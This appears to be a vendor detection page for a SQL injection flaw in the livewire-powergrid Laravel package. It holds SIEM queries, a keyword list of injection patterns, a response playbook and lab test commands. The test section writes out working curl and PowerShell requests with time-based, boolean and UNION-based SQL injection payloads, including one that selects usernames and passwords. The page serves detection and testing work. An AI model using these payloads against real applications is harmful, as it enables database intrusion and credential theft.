livewire-powergrid SQL Injection via sortDirection in naturalSort (CVE-2026-65971)
Detects exploitation attempts against CVE-2026-65971, a SQL injection vulnerability in the power-components/livewire-powergrid Composer package (>= 6.0.0, < 6.10.4). The library fails to validate the sortDirection parameter when building naturalSort ORDER BY clauses, allowing an attacker to inject arbitrary SQL through Livewire component update requests. Because sorting is driven by Livewire's client-to-server state updates, exploitation appears as crafted POST requests to Livewire endpoints (/livewire/update or /livewire/message) carrying a sortDirection value containing SQL metacharacters, boolean/time-based blind payloads, UNION/stacked queries, or ORDER BY subselects. Detection correlates web/WAF logs and database query logs for anomalous sortDirection content and malformed ORDER BY clauses.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- composer
- Product
- power-components/livewire-powergrid
- Versions
- >= 6.0.0, < 6.10.4
Weakness (CWE)
Timeline
- Disclosed
- November 25, 2026
References & Proof of Concept
- https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r
- https://nvd.nist.gov/vuln/detail/CVE-2026-65971
- https://github.com/Power-Components/livewire-powergrid/commit/13d047bf1637e82926e6914aa3ca0f29a4c9704a
- https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4
- https://github.com/advisories/GHSA-7fgc-3h6c-698r
What is CVE-2026-65971 livewire-powergrid SQL Injection via sortDirection in naturalSort (CVE-2026-65971)?
livewire-powergrid SQL Injection via sortDirection in naturalSort (CVE-2026-65971) (CVE-2026-65971) maps to the Initial Access and Collection tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for livewire-powergrid SQL Injection via sortDirection in naturalSort (CVE-2026-65971), covering the data sources and telemetry it touches: IIS Web Server Logs, Web Proxy, WAF. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Collection
// df00tech DF00-0b209303a5 · https://df00tech.com/detections/CVE-2026-65971 · licence: https://df00tech.com/detections/licence
let suspiciousSort = dynamic(["asc)","desc)"," union ","select "," sleep(","benchmark(","--","/*","; ","' ","\" "," and "," or ","(select","case when","waitfor","pg_sleep"]);
let livewirePaths = dynamic(["/livewire/update","/livewire/message","/livewire/"]);
W3CIISLog
| where csUriStem has_any (livewirePaths) or cs_uri_query has "sortDirection"
| extend body = tolower(coalesce(column_ifexists("csBody", ""), cs_uri_query))
| where body has "sortdirection" or body has "naturalsort"
| where body has_any (suspiciousSort)
| project TimeGenerated, cIP, csMethod, csUriStem, cs_uri_query, scStatus, csUserAgent, body
| sort by TimeGenerated desc Flags Livewire update requests whose body or query string carries a sortDirection/naturalSort parameter containing SQL metacharacters or injection keywords, consistent with CVE-2026-65971 exploitation against livewire-powergrid.
Data Sources
Required Tables
False Positives
- Legitimate sort requests that happen to include parentheses or quotes in column aliases.
- Security scanners and authorized penetration tests probing the sortDirection parameter.
- Application monitoring synthetic transactions replaying Livewire requests with encoded payloads.
Query fingerprint DF00-0b209303a5 · licence
Sigma logsource & community rules
The detection logic for livewire-powergrid SQL Injection via sortDirection in naturalSort (CVE-2026-65971) (CVE-2026-65971) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-65971
References (5)
- https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r
- https://nvd.nist.gov/vuln/detail/CVE-2026-65971
- https://github.com/Power-Components/livewire-powergrid/commit/13d047bf1637e82926e6914aa3ca0f29a4c9704a
- https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4
- https://github.com/advisories/GHSA-7fgc-3h6c-698r
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Time-based blind SQLi via sortDirection
Expected signal: Web access log entry for POST /livewire/update with a sortDirection value containing SLEEP(5); response latency ~5s.
- Test 2 UNION-based SQLi via sortDirection
Expected signal: Web log POST to /livewire/update containing 'UNION SELECT' within the sortDirection field; possible SQL error in application log.
- Test 3 ORDER BY boolean injection via sortDirection
Expected signal: IIS/web log entry for POST /livewire/update with sortDirection containing ') AND 1=1-- -'.
Response Playbook
Triage
- Confirm the targeted application bundles power-components/livewire-powergrid and resolve its installed version via composer.lock; versions >= 6.0.0 and < 6.10.4 are vulnerable.
- Extract the full sortDirection/naturalSort value from the flagged request and decode any URL/JSON/Livewire payload encoding to reveal the raw SQL fragment.
- Classify the payload intent: ORDER BY manipulation, boolean-blind, time-based blind (sleep/benchmark/pg_sleep/waitfor), UNION-based extraction, or stacked query.
- Review the HTTP response code, size, and latency for the flagged request to judge whether injection succeeded (e.g., delayed response for time-based payloads).
Containment
- Deploy a WAF rule rejecting Livewire requests whose sortDirection parameter is not exactly 'asc' or 'desc'.
- Upgrade power-components/livewire-powergrid to 6.10.4 or later across all affected deployments.
- If immediate patching is not possible, restrict database account privileges used by the application to read-only on required tables and revoke stacked-query/DDL rights.
Evidence Collection
- Preserve raw web/WAF access logs including request bodies for all requests from the source IP over the exposure window.
- Capture corresponding database query logs (general/slow/audit log) to identify the exact executed ORDER BY statements and any data accessed.
Escalation Criteria
- ! Escalate to incident response if database logs confirm the injected SQL executed (e.g., UNION rows returned or measurable time delay).
- ! Escalate if evidence shows exfiltration of sensitive tables, credential tables, or successful stacked write/DDL operations.
Investigation Guide
Forensic Artifacts
- >
Web/WAF access logs containing the malicious sortDirection payload and source IP. - >
Database query/audit logs showing malformed ORDER BY clauses originating from the application account. - >
Application (Laravel) logs showing query exceptions or anomalous Livewire component update activity.
Tuning Guidance
Baseline legitimate sortDirection values, they should only ever be 'asc' or 'desc'. Convert this to an allowlist detection (alert on any value not in {asc,desc}) once you confirm the application does not use custom sort aliases, which dramatically lowers false positives. Exclude known scanner IPs and authorized pentest windows, and whitelist internal synthetic-monitoring source addresses.
Hunting Queries
Surfaces any Livewire requests where sortDirection carries characters beyond the expected asc/desc tokens, grouped by source IP for burst detection.
// df00tech DF00-0b209303a5 · https://df00tech.com/detections/CVE-2026-65971 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "/livewire/" | extend body = tolower(coalesce(column_ifexists("csBody",""), cs_uri_query)) | where body has "sortdirection" and (body has "(" or body has "'" or body has "--" or body has "select") | summarize count() by cIP, bin(TimeGenerated, 1h) ``` df00tech DF00-0b209303a5 · https://df00tech.com/detections/CVE-2026-65971 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/livewire/*") | eval p=lower(coalesce(form_data,uri_query)) | where like(p,"%sortdirection%") AND (like(p,"%(%") OR like(p,"%'%") OR like(p,"%--%") OR like(p,"%select%")) | stats count by src_ip, uri_path Atomic Red Team Tests
Sends a Livewire update request with a time-based blind payload in sortDirection against a lab instance of livewire-powergrid < 6.10.4.
Command
curl -s -X POST 'http://localhost:8000/livewire/update' -H 'Content-Type: application/json' -H 'X-Livewire: true' --data '{"components":[{"calls":[{"method":"sortBy","params":["name"]}],"updates":{"sortDirection":"asc,(SELECT 1 FROM (SELECT SLEEP(5))x)"}}]}' Cleanup
echo 'No persistent artifacts; restart the lab app if DB connections are saturated: php artisan serve restart' Expected Telemetry
Web access log entry for POST /livewire/update with a sortDirection value containing SLEEP(5); response latency ~5s.
Expected Detection
KQL/SPL rules match on sortdirection + sleep( pattern.
Attempts UNION-based injection through the naturalSort ORDER BY clause.
Command
curl -s -X POST 'http://localhost:8000/livewire/update' -H 'Content-Type: application/json' -H 'X-Livewire: true' --data '{"components":[{"updates":{"sortDirection":"asc) UNION SELECT username,password FROM users-- -"}}]}' Cleanup
echo 'No cleanup required' Expected Telemetry
Web log POST to /livewire/update containing 'UNION SELECT' within the sortDirection field; possible SQL error in application log.
Expected Detection
All seven SIEM rules match on sortdirection + union select pattern.
Injects a boolean/ORDER BY-breaking payload via sortDirection to confirm the naturalSort SQLi primitive.
Command
powershell -c "Invoke-WebRequest -Uri 'http://localhost:8000/livewire/update' -Method POST -ContentType 'application/json' -Headers @{'X-Livewire'='true'} -Body '{\"components\":[{\"updates\":{\"sortDirection\":\"asc) AND 1=1-- -\"}}]}'" Cleanup
Write-Output 'No cleanup required' Expected Telemetry
IIS/web log entry for POST /livewire/update with sortDirection containing ') AND 1=1-- -'.
Expected Detection
KQL W3CIISLog rule and CrowdStrike CQL rule match on the boolean ORDER BY pattern.
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Blog posts about this detection
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040